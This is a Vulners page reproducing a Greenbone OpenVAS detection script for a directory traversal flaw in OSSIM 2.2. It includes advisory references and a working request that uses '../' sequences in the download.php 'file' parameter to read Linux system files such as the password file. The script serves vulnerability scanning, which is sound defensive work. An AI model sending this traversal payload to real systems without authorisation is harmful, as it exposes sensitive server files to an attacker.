OSSIM 'file' Parameter Directory Traversal Vulnerability
🗓️ 19 Mar 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType
openvas🔗 plugins.openvas.org👁 10 Views
| Source | Link |
|---|---|
| cybsec | www.cybsec.com/vuln/cybsec_advisory_2010_0306_ossim2_2_arbitrary_file_download.pdf |
| alienvault | www.alienvault.com/community.php |
| ossim | www.ossim.net/ |
| securityfocus | www.securityfocus.com/bid/38780 |
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:alienvault:open_source_security_information_management";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100542");
script_version("2025-04-15T05:54:49+0000");
script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
script_tag(name:"creation_date", value:"2010-03-19 11:14:17 +0100 (Fri, 19 Mar 2010)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_name("OSSIM 'file' Parameter Directory Traversal Vulnerability");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/38780");
script_xref(name:"URL", value:"http://www.alienvault.com/community.php?section=News");
script_xref(name:"URL", value:"http://www.cybsec.com/vuln/cybsec_advisory_2010_0306_ossim2_2_arbitrary_file_download.pdf");
script_xref(name:"URL", value:"http://ossim.net/");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2010 Greenbone AG");
script_dependencies("gb_ossim_web_detect.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("OSSIM/installed");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"solution", value:"The vendor has released an update to address this issue. Please see
the references for more information.");
script_tag(name:"summary", value:"OSSIM is prone to a directory traversal vulnerability because it fails
to sufficiently sanitize user-supplied input data.");
script_tag(name:"impact", value:"Exploiting the issue may allow an attacker to obtain sensitive
information that could aid in further attacks.");
script_tag(name:"affected", value:"OSSIM 2.2 is affected. Other versions may also be vulnerable.");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
if (!port = get_app_port(cpe: CPE))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
files = traversal_files("linux");
foreach pattern(keys(files)) {
file = files[pattern];
url = string(dir,"/repository/download.php?file=../../../../../../../../" + file + "&name=passwd.txt");
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)continue;
if(egrep(pattern:pattern, string:buf, icase:TRUE)) {
report = http_report_vuln_url(port:port, url:url);
security_message(data:report, port:port);
exit(0);
}
}
exit(0);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Apr 2025 00:00Current
7.2High risk
Vulners AI Score7.2